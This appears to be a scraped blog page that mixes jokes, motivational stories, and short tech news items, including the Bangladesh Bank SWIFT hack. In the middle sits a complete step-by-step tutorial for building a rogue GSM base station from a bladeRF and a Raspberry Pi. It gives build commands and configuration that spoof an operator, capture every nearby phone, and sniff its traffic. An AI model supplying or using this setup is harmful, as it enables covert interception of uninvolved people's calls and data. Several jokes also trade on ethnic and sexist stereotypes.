Silly things, just keep quiet and enjoy...

Once a magazine posted, 50% of women are Idiot.
But the woman community made a serious comments about this.
So, they re-posted it saying ""50% of women are intelligent!!!""
Then the situation came under control.
=====================
Doctor to female patient :- 
you are looking so weak and exhausted... 
Are you taking 3 Meals a day as I had advised you?
Female patient:
That idiot @#$!#$@#$%@#
Where is Your assistant, who typed 3 Males a day.!.
=====================
Never laugh at your wife choices?
You are one of them!!!

Best of the best!

I am one step away from being rich;
Now all I need is money
====================
Two mysterious people live in my house, who is SOMEBODY and NOBODY!
SOMEBODY did it, NOBODY knows it.
====================
Long time ago, people who sacrifice their sleep, family, food, laughter and other joys in life were called "SAINTS"
But now they are called as "IT professionals"
====================
My bed is a magical place where I remember suddenly everything that I suppose to do :-)
====================
Don't break anyone's heart, they have only one...
Instead break their bones, they have 206

Walks into a bar, but not ready to go home!!!

A guy walks into a bar and asks for a beer. 
He chugs it, looks into his pocket and asks for another beer. He chugs that beer, looks into his pocket and asks for another.
The man does this a few more times until the bartender asks, "How come you ask for a beer, chug it, then look in your pocket?"
The man says, "Because there is a picture of my wife in my pocket and I'm going to keep drinking till she looks good enough for me to go home."

Best of money jokes...

In a job interview today when the manager handed me his laptop and said, "I want you to try and sell this to me." 
So I took and walked out of the building and then went home. 
Eventually he called my mobile and said, Bring it back here right now! I said, $100 and it is yours.
====================
Hey, driver! How much to take me to the station?
Five bucks, sir.
And how much for my suitcase?
No charge for the suitcase, sir.
Okay then take the case and I will walk.
====================
The difference between the short and long income tax forms is simple. 
If you use the short form, the government gets your money. If you use the long form, the tax adviser gets your money.
====================
Why are men like bank accounts? 
Without a lot of money, they does not generate much interest!
====================
Mother decided that 10-year-old Karla should get something 'practical' for her birthday. 
"Suppose we open a savings account for you?" mother suggested.  Karla was delighted. 
"It's your account, darling," mother said as they arrived at the bank, "so you fill out the application." 
Karla was doing fine until she came to the space for 'Name of your former bank.'  After a slight hesitation, she put down 'Piggy Bank'

Joke of mafia!

The Mafia was looking for a new man to make weekly collections from all the individual businesses that they were securing.
Feeling the heat from the police force, they decide to use a deaf and dumb person for this job.  
If he were to get caught, he wouldn't be able to communicate to the police what he was doing.  
On his first week, the collector picks up over $40,000.  He gets greedy, decides to keep the money and stashes it in a safe place. 
The Mafia soon realizes that their collection is late, and sends some of their hoods after the deaf and dumb collector. 
The hoods find the collector and ask him where the money is.  The deaf and dumb collector can't communicate with them, so the Mafia drags the guy to an interpreter. The Mafia hood says to the interpreter, "Ask him where the money is." The interpreter signs, "Where's the money?" The dumb man signs back, "I don't know what you're talking about." The interpreter tells the hood, "He says he doesn't know what you're talking about." The hood pulls out a bomb and places it in the ear of the dumb collector. "Now ask him where the money is!" The interpreter signs, "Where is the money? The deaf man signs back, "The $40,000 is in a tree stump in Central Park." The interpreter says to the hood, "He says he still doesn't know what you're talking about, and doesn't think you have the guts to pull the trigger."

Happiness is a state of mind!!!

One is born in a first class hospital, the other is delivered at home, both survived.

One went to a private primary school and the other to a public school, both  ended in the same high school.

One woke up from the bed and the other woke up on the floor, both had a peaceful sleep.

One has expensive attire, the other simple and cheap, both still cover their body.

One ate fried rice and roasted chicken, the other ate home made rice n dal but both filled their hunger.

One drives a Lexus, the other uses public transport but both reached their destination.

One may be reading this post from a Sony xperia, BB Z10, Q10, Samsung Galaxy 6edge, IPhone6+ and the other on an ordinary Smart phone, but all can see the same message.

Lifestyle is not a competition, various lanes lead to the same destination. 

Just because our neighbour has amassed material posessions, it does not mean that we are a failure.

Happiness doesn't come from having everything, but making the best out of what we have, it's all about how we see ourselves.

Happiness is not having what we like. Happiness is liking what we have and learning to make the most of it by giving it!!!

Monkey and Bananas

This monkey walks into a bar and asks the bartender, "Do you have any bananas?" The bartender says no, and the monkey leaves.

The next day, the monkey returns and asks, "Do you have any bananas?" The bartender again says no, and the monkey leaves. 

Two days later the monkey returns walks up to the bar and asks the bartender, "Do you have any bananas?" The bartender, losing his patience, screams at the monkey, "I told you monkey, I don't have any bananas and if you ask me again I will nail your paws and tail to the floor!!" The monkey looked startled and leaves. 

Two days later the monkey returns, walks up to the bar and asks the bartender, "Do you have any nails?" The bartender replied, "No," and the monkey said, "Good! Got any bananas?"

Drunk Mexican @#$!@#$!

I was bartending in Vegas and this drunk Mexican asks me for a shot of tequila and a beer. 
He was hurting so bad with a hangover..he then asks me for another. I said "You got money? 
He told me no, but he is hurting so bad that he will do anything for another round.... 
I looked at him and told him..
if you could use these three colors in a sentence, I'll buy you a round...Green Pink and Yellow. 
The drunk Mexican looks at me, thinks for a second, and tells me.."I got it , I got it...The telephone goes green, green, I pink it up, and I said Yellow?"

$10 router blamed for the massive $80 million Bangladesh Bank hack

Can you believe it! A mere $10 second hand router was responsible for the massive $80 million Bangladesh Bank hack

Back in February, hackers had managed to hack into one of the premier banks of Bangladesh also known as Bangladesh Bank and siphon of $80 million. The fact that hackers could gain access to the SWIFT network — the cooperative system behind the vast majority of worldwide cross-border payments — and make $100 million go up in smoke has raised worldwide alarm bells.

The government of Bangladesh promptly set an enquiry into the hack and the report reveals rather fascinating yet shocking findings. Mohammad Shah Alam, who leads the Forensic Training Institute of the Bangladesh police’s criminal investigation department, said that the mega hack happened because the bank was using cheap $10 second hand routers for its global banking network computers.

Also, Bangladesh‘s central bank was vulnerable to hackers because it did not have a firewall. The employees used second-hand, $10 switches to network computers connected to the SWIFT global payment network.

Better security and hardware would have hampered the attackers, Reuters said, quoting an official investigator.

The hackers aimed to steal $1bn but made mistakes that led to the theft being spotted and stopped when the hackers had siphoned of $80 million.

According to FireEye, the Silicon Valley security firm auditing the theft, it seems some sneaky malware was covertly installed then hung out for a few days before going after the SWIFT terminal. By using keystroke software, thieves were able to steal operating codes, which allowed them to “process and authorize SWIFT transactions,” FireEye’s report said.

“The security breach of the SWIFT environment is part of a much larger breach that is currently under investigation,” the report said. FireEye investigators have warned Bangladeshi officials that at least 32 computers at the central bank may have been breached by hackers leading up to the attack on Feb. 5.

SWIFT on its part had stated that its network wasn’t what was breached. This was confirmed by the investigating team which found that the hackers were able to exploit the loopholes at the Bangladeshi central bank level.

A man walks into a bar...

All things in this bar is golden! Golden carpets, golden shot-glasses, golden beer mats...... 
After too many drinks he hesitates into what he thinks is the toilet and there's even a golden urinal! 
The man goes home and tells his wife about this place and she isn't convinced, so in the morning she calls the bar and says, "Is every thing in your bar golden..? Golden carpets, golden shot-glasses, golden beer mats???" "Yes" answers the bartender.. 
What about the restroom urinal? "Hold on" says the bartender.... "Mike.. I think we found the guy who leaked in your saxophone! 

I asked God!

I asked God:
how to handle life?
God Replied " Check Your Room"
My room gave me all the answers: 
Roof said : Aim high. 
Fan said : Be cool. 
Clock said : Value time. 
Calendar said: Be up to date. 
Wallet said : Save now for the future. 
Mirror said : Always observe yourself. 
Lamps said : Light up other's life. 
Wall said : Share others' load. 
Window said : Expand the vision. 
Floor said : Always be down to earth. 
Stairs said : Watch each step you take.
And  I Said Thank You God!

Funny student reply continues...

Teacher: Why are you sleeping in the class?
Student: Your voice is too sweet, that is why I am sleeping.
Teacher: Then why other students are not sleeping?
Student: Might be they are not listening to you ma'am.
=====================
Student: Will you punish me for something I did not do ma'am?
Teacher: No, not at all.
Student: Good, I have not done my homework.
=====================
Student: Sir, you told there is a mark for every step
Sir: Yes, but your answer sheet has only upstairs 
=====================
Teacher: Let me ask you a question, 2 books + 2 books?
Students: 4 books
Teacher: Let me ask you the tough one, 11345 books + 423123 books?
Students: LIBRARY...
=====================
Teacher: Why are you late to the school?
Student: There was a man who lost his money
Teacher: That's nice, so you were helping him?
Student: No, I was standing on his money

For fun, read on...

Two terrorists having discussion in a bar.
The waiter asks them what the discussion was about?
Terrorist: We are planning to kill 14 thousand people and a donkey.
Waiter: Why a donkey?
Then one terrorist says to the other: See I told you nobody will care about the 14 thousand people.
===========================
In a party...
Wife: Look at that guy drinking and dancing.
Husband: Who is he?
Wife: 10 years back he proposed me and I rejected him.
Husband: On my god, he is still celebrating...
===========================
A man asks a farmer near a field:
“Sorry sir, would you mind if I crossed your field instead of going around it? You see, I have to catch the 4:23 train.”
The farmer says: “Sure, go ahead. If my bull sees you, you will even catch the 4:11 train
===========================
Police officer: Can you identify yourself?
Driver pulls out his mirror and says: Yes it is me!
===========================
When my wife starts to sing...
I always go out and do some garden work so our neighbors can see there is no domestic violence going on.

Funny student replies...

Teacher: How do you keep warm in a cold room?
Student: You go to the corner, as it is always 90 degrees
===========================
Teacher: Just imagine you are on the 8th floor, it caught fire, how will you escape?
Student: I will just stop my imagination
===========================
Teacher: Where is your book Vicky?
Vicky: It is at home
Teacher: What is it doing at home?
Vicky: It is having more fun at home than at classroom
===========================
A student entered the classroom and introduced his name with rest of the classmates.
Then later on, teacher asked him "What does your father do?"
Student: He does whatever my MOM says.
===========================
Teacher: Did you do your homework?
Student: Did you correct my test?
Teacher: I have other class students tests to correct.
Student: Even I have other teacher's homework to do.

How a Password Changed my Life...

A true story from the Reader’s Digest...

I was having a great morning until I sat down in front of my office computer. “your password has expired”, a server message flashed on my screen, with instructions for changing it...
In my company we have to change password monthly..
I was deeply depressed after my recent divorce. Disbelief over what she had done to me was what I thought all day.
 I remembered a tip I’d heard from my former boss. 
He’d said, “I’m going to use a password that is going to change my life”. I couldn’t focus on getting things done in my current mood.. My password reminded me that I shouldn’t let myself be a victim of my recent breakup and that I was strong enough to do something about it.

I made my password – Forgive@her. I had to type this password several times every day, each time my computer would lock. Each time I came back from lunch I wrote forgive her. 
The simple action changed the way I looked at my ex-wife.. That constant reminder of reconciliation led me to accept the way things happened and helped me deal with my depression.. 
By the time the server prompted me to change my password following month, I felt free.

The next time I had to change my password I thought about the next thing that I had to get done. My password became Quit@smoking4ever .
It motivated me to follow my goal and I was able to quit smoking.

One month later, my password became Save4trip@europe, and in three months I was able to visit Europe.

Reminders helped me materialize my goals kept me motivated and excited. 
It's sometimes difficult to come up with your next goal, keeping at it brings great results.

After a few months my password was 
lifeis@beautiful !!!

Life is going to change again

Weakness is your biggest strength

A 10 year old boy decided to study judo despite the fact he had lost his left arm in a devastating car accident.

The boy began lessons with an old Japanese judo master. The boy was doing well, so he couldn't understand why, after three months of training, the master had taught him only one move. "Master", the boy finally said, "shouldn't I be learning more moves?". "This is the only move you know, but this is the only move you'll ever need to know", the master replied.
Not quite understood, but believing in His teacher, the boy kept training.

Several months later, the master took the boy to his first tournament. Surprising himself, the boy easily won his first two matches. The third match proved to be more difficult, but after some time, his opponent became impatient and charged; the boy deftly used his one move to win the match. Still amazed by his success, the boy was now in the finals.

This time, his opponent was bigger, stronger and more experienced. For a while, the boy appear to be over matched. Concern that the boy might get hurt, the referee called a time-out. He was about to stop the match when the master intervened, "No", the master said, "let him continue". Soon after the match resumed, his opponent made a critical mistake; he dropped his guard. Instantly, the boy used his move to pin him..

The boy had won the match and the tournament. He was the champion. On the way home, the boy and his master reviewed every move in each and every match. Then the boy summoned the courage to ask what was really in his mind
"Master, how did I win the tournament with only one move?"
"You won for two reasons", the master answered, "First, you've almost mastered one of the most difficult throws in all judo. And second, the only defense for that is for your opponent to grab your left arm".

THE BOY'S BIGGEST WEAKNESS HAD BECOME HIS BIGGEST STRENGTH.

Lesson that we learnt from the above story:
Sometimes we feel that we have certain weakness and we blame god, the circumstances or ourselves for it but we never know that our weakness can become our strength one day. Each of us are special and important, so never think of any weakness you have, never think of pride, just live your life to it's fullest and get the best out of it.

Apple recovers $40 million worth of gold by recycling old iPhones/iPads

Apple’s recycling efforts yield $40 million worth of gold from old devices

You probably know that Apple uses gold in manufacture of iPhones. What you didnt know that Apple was able to salvage nearly $40 million worth of gold from recycled iPhones. Apple has released its latest annual environmental report yesterday which reveals that Apple was able to recover some valuable (I mean really valuable) minerals from recycling its old products.

A report by Business Insider notes that Apple was able to recover over 61 million pounds of steel, aluminum, glass, and other materials from its computers and iPhones. The most valuable of them was of course, Gold. Apple was able to recover 2,204 pounds of gold, which is well over a ton.

Environmentalists will be happy with the commendable efforts by Apple in recycling has allowed it to actually recover a whopping 2,204 pounds of gold from old devices, which is worth approximately $40 million on the open market today. While Apple may be worth billions and billions of dollars, $40 million is still not a small amount by any means that too from recycling iPhones.

Recovering gold from old iPhones is one thing, but Apple also managed to harvest around 3 million pounds of copper that is worth $6.4 million, as well as 4.5 million pounds of aluminum that amounted to $3.2 million.

Such efforts are needed to be implemented by other companies like Samsung, LG so that we can make earth a nice place to live and also preserve scarce resources.

Best Husband and Wife Jokes

All husbands can enjoy these jokes...
==================
Wife : Shall I prepare burger or sandwich today . 
Husband : First make it, we will name it later
==================
A frustrated husband in front of his laptop:
dear Google, please do not behave like my wife...
Please allow me to complete my sentence before you start guessing and suggesting
==================
A married man's prayer; 
Dear God, you gave me childhood, you took it away
U gave me youth, you took it away. 
U gave me a wife.......... Its been years now, 
just reminding you......
==================
A man brings his best buddy home for dinner unannounced at 5:30 PM after work.
His wife begins screaming at him and his friend just sits and listens in.
"My hair & make-up are not done, the house is a mess, the dishes are not done, I'm still in my pyjamas and I can't be bothered with cooking tonight ! Why the hell did you bring him home for?"
Husband answers "Because he's thinking of getting married"
==================
Couldn't stop sharing this one...
Husband: I found Aladdin's lamp today.
Wife: wow, what did you ask for darling??
Husband: I asked him to increase your brain ten times..
Wife: oh..love you darling!. Did he do that??
Husband: He laughed and said multiplication doesn't apply on zero.
==================
A man gifted his wife a diamond necklace for their anniversary and wife didn't speak to him for 6 months.
Was the necklace FAKE?
Nooooo! That was the deal :)
==================
A couple was having dinner at a fancy restaurant. 
As the food was served, the husband said, "the food looks delicious, let's eat."
Wife: honey.....you say prayer before eating at home.
Husband: that's at home sweetheart......here the chef knows how to cook.
==================
Best Slogan on a MAN's T-Shirt :
"Please Do Not Disturb me,
I am Married and already very Disturbed"

Conversation Jokes!

Teacher: Peter, name one important thing we have today that we didn't have ten years ago.
Peter: Its Me!
========================
When I was young I used to pray for a bike,
after that I realized that God does not listen to us this way.
so I stole a bike and prayed for forgiveness
========================
Wife: If I die what will you do?
Husband: I may also die.
Wife: Why?
Husband: Some time too much of happiness can also kill a man.
========================
Engineer 1: Hey due, my submarine is not sinking into the water! what could be wrong?
Engineer 2: I think you may have used float instead of double in the software.
========================
In a school, teacher asked her students to give examples of coincidence.
There was a long silence, then a boy said: My father and my mother were married the same day.
========================
Doctor: You will die within 2 hours. Do you want to see any one before you die.
Patient : Yes. An experienced doctor.

Jokes Jokes Jokes!

Three drunk guys entered a taxi. 
The taxi driver knew that they were drunk so he started the engine and turned it off again. 
Then taxi driver said, "We have reached your destination". The first guy gave him money and the second guy said "Thank you". 
The third guy slapped the driver. The driver was shocked thinking the third drunk knew what he did. 
But then he asked "What was that for?". The third guy replied, "Control your speed next time, you nearly killed us!" 
=============================
The father of five children had won a gift at a raffle. 
He called his kids together to ask which one should get the present.
"Who is the most obedient?" he asked. 
Who never talks back to mother? 
Who does everything she says?
Five small voices answered in union...
"Okay, dad. You get the gift." as you do not talk back to mother.
=============================
Magistrate: What was he doing when you arrested him?
Policeman: He was arguing with a taxi driver, Your Honor.
Magistrate: That is no  enough proof he was drunk.
Policeman: Well, Your Honor, there was no taxi driver there.
=============================
Son: Dad, can you write in the dark?
Father: I can. What do you want me to write?
Son: Your name on this progress report card.
=============================
Son: Dad, did you ever go to EGYPT?
Father: No son. Why do you ask that?
Son: Then, where did you get this MUMMY?

Simple Jokes!

Father: Let me see your report card.
Son: My friend just borrowed it. He wants to scare his parents
=========================
Its funny when people discuss over "love marriage" and "arranged marriage"
It is like asking a person if he would like to "hang himself" or "shoot himself".
=========================
Man : How old is your father?
Boy : As old as me.
Man : How is that possible?
Boy : He became father only after my birth.
=========================
Why did the computer go to the doctor? 
Because it was suffering from virus. 
=========================
Why did the computer go to the dentist? 
Because it had Bluetooth 
=========================
What did the dentist say to the computer? 
This will not hurt a byte. 
=========================
What part of a computer does a spider use? 
The webcam 
=========================
Why did the computer break up with the internet? 
There was no active Connection
=========================
Why was the computer tired when it got home? 
It had a "hard drive"

How To Build Your Own Rogue Gsm Station And Capture|Sniff All Gsm Traffic

In this blog post I'm going to explain how to create a portable GSM BTS which can be used either to create a private ( and vendor free! ) GSM network or for GSM active tapping/interception/hijacking ... yes, with some (relatively) cheap electronic equipment you can basically build something very similar to what the governments are using from years to perform GSM interception.

I'm not writing this post to help script kiddies breaking the law, my point is that GSM is broken by design and it's about time vendors do something about it considering how much we're paying for their services.

Hardware Requirements

In order to build your BTS you'll need the following hardware:

• A bladeRF x40
• Two Quad-band Cellular Duck Antennas SMA.
• A Raspberry Pi 3 ( model 2 and below are too slow ).
• An USB battery pack ( I'm using a 26800mAh Anker Astro E7 ).
• A microsd for the RPI >= 8GB.
• Some patience and time ... :)

Software

Let's start by installing the latest Raspbian image to the micrsd card ( use the "lite" one, no need for UI ;) ), boot the RPI, configure either the WiFi or ethernet and so forth, at the end of this process you should be able to SSH into the RPI.

Next, install a few dependecies we're gonna need soon:

sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake

At this point, you should already be able to interact with the BladeRF, plug it into one of the USB ports of the RPI, dmesg should be telling you something like:

[ 2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066
[ 2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 2332.071707] usb 1-1.3: Product: bladeRF
[ 2332.071720] usb 1-1.3: Manufacturer: Nuand
[ 2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742

Start the bladeRF-cli utility and issue the version command:

pi@raspberrypi:~ $ sudo bladeRF-cli -i
bladeRF> version

  bladeRF-cli version:        0.11.1-git
  libbladeRF version:         0.16.2-git

  Firmware version:           1.6.1-git-053fb13-buildomatic
  FPGA version:               0.1.2

bladeRF> 

IMPORTANT Make sure you have these exact versions of the firmware and the FPGA, other versions might not work in our setup.

Now we're going to install Yate and YateBTS, two open source softwares that will make us able to create the BTS itself.

Since I spent a lot of time trying to figure out which specific version of each was compatible with the bladeRF, I've created a github repository with correct versions of both, so in your RPI home folder just do:

git clone https://github.com/evilsocket/evilbts.git
cd evilbts

Let's start building both of them:

cd yate
./autogen.sh
./configure --prefix=/usr/local
make -j4
sudo make install
sudo ldconfig
cd ..

cd yatebts
./autogen.sh
./configure --prefix=/usr/local
make -j4
sudo make install
sudo ldconfig

This will take a few minutes, but eventually you'll have everything installed in your system.

Next, we'll symlink the NIB web ui into our apache www folder:

cd /var/www/html/
sudo ln -s /usr/local/share/yate/nib_web nib

And grant write permission to the configuration files:

sudo chmod -R a+w /usr/local/etc/yate

You can now access your BTS web ui from your browser:

http://ip-of-your-rpi/nib

Time for some configuration now!

Configuration

Open the /usr/local/etc/yate/ybts.conf file either with nano or vi and update the following values:

Radio.Band=900
Radio.C0=1000
Identity.MCC=YOUR_COUNTRY_MCC
Identity.MNC=YOUR_OPERATOR_MNC
Identity.ShortName=MyEvilBTS
Radio.PowerManager.MaxAttenDB=35
Radio.PowerManager.MinAttenDB=35

You can find valid MCC and MNC values here.

Now, edit the /usr/local/etc/yate/subscribers.conf:

country_code=YOUR_CONTRY_CODE
regexp=.*

WARNING Using the .* regular expression will make EVERY GSM phone in your area connect to your BTS.

In your NIB web ui you'll see something like this:

Enable GSM-Tapping

In the "Tapping" panel, you can enable it for both GSM and GPRS, this will basically "bounce" every GSM packet to the loopback interface, since we haven't configure any encryption, you'll be able to see all the GSM traffic by simply tcpdump-ing your loopback interface :D

Start It!

Finally, you can start your new BTS by executing the command ( with the BladeRF plugged in! ) :

sudo yate -s

If everything was configured correctly, you'll see a bunch of messages and the line:

Starting MBTS...
Yate engine is initialized and starting up on raspberrypi
RTNETLINK answers: File exists
MBTS ready

At this point, the middle LED for your bladeRF should start blinking.

Test It!

Now, phones will start to automatically connect, this will happen because of the GSM implementation itself:

• You can set whatever MCC, MNC and LAC you like, effectly spoofing any legit GSM BTS.
• Each phone will search for BTS of its operator and select the one with the strongest signal ... guess which one will be the strongest? Yep ... ours :D

Here's a picture taken from my Samsung Galaxy S6 ( using the Network Cell Info Lite app ) which automatically connected to my BTS after 3 minutes:

From now on, you can configure the BTS to do whatever you want ... either act as a "proxy" to a legit SMC ( with a GSM/3g USB dongle ) and sniff the unencrypted GSM traffic of each phone, or to create a private GSM network where users can communicate for free using SIP, refer to the YateBTS Wiki for specific configurations.

Oh and of course, if you plug the USB battery, the whole system becomes completely portable :)

Take it easy boss!

Lawyer: I have some good news and some bad news.
Accused: What’s the bad news?
Lawyer: The bad news is, your blood is all over the crime scene, and the DNA tests prove you did it.
Accused: What’s the good news?
Lawyer: Your cholesterol is 130.
=============================
Patient: Doctor help me please, every time I drink a cup of coffee I get this intense itching in my eye.
Doctor: I suggest you remove the spoon from the glass before drinking
=============================
A woman was telling her friend , "It was I who made my husband a millionaire.  
And what was he before you married him?" asked the friend.  The woman replied, "A multi-millionaire".
=============================
A man noticed that his credit card had been stolen but did not report it. 
The thief was spending less then his wife.
=============================
Patient: I saw the doctor to day about my loss of memory. 
Friend: What did he do? 
Patient: He made me pay  his consulting fee in advance.
=============================
Patient: Tell me how I can repay you for all your kindness.
Doctor: You can pay by cash, cheque or direct bank transfer

Just for fun!

Wife: Do you want dinner?  
Husband: Sure, what are my choices?  
Wife: Yes and no.
============================
A wife got so mad at her husband she packed his bags and told him to get out.  
As he walked to the door she yelled, "I hope you die a long, slow, painful death."  
He turned around and said, "So, you want me to stay?"
============================
A man inserted an 'ad' in the classifieds: "Wife wanted."  
Next day he received a hundred letters.  
They all said the same thing: "You can have mine."
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Son - Dad whats the difference between confident and confidential?
Dad - Hmm. You are my son. Of that I am confident. Your friend Peter is also my son. That's confidential."
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A taxi passenger tapped the driver to ask him a question. The driver screamed, lost control of the car, nearly hit a bus and stopped in front of the supermarket. For a second everything went quiet in the cab, then the driver said, "Look mate, don’t ever do that again. You scared the daylights out of me!" 
The passenger apologized and said, "I didn’t realize that a little tap would scare you so much."  
The driver replied, "Sorry, it’s not really your fault. Today is my first day as a cab driver – I’ve been driving a funeral van for the last 25 years."
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A woman is standing looking in front of the bedroom mirror…  
She is not happy with what she sees and says to her husband, “I feel horrible;  I look old, fat and ugly… 
I really need you to pay me a compliment.” 
The husband replies, “Your eyesight is damn near perfect.”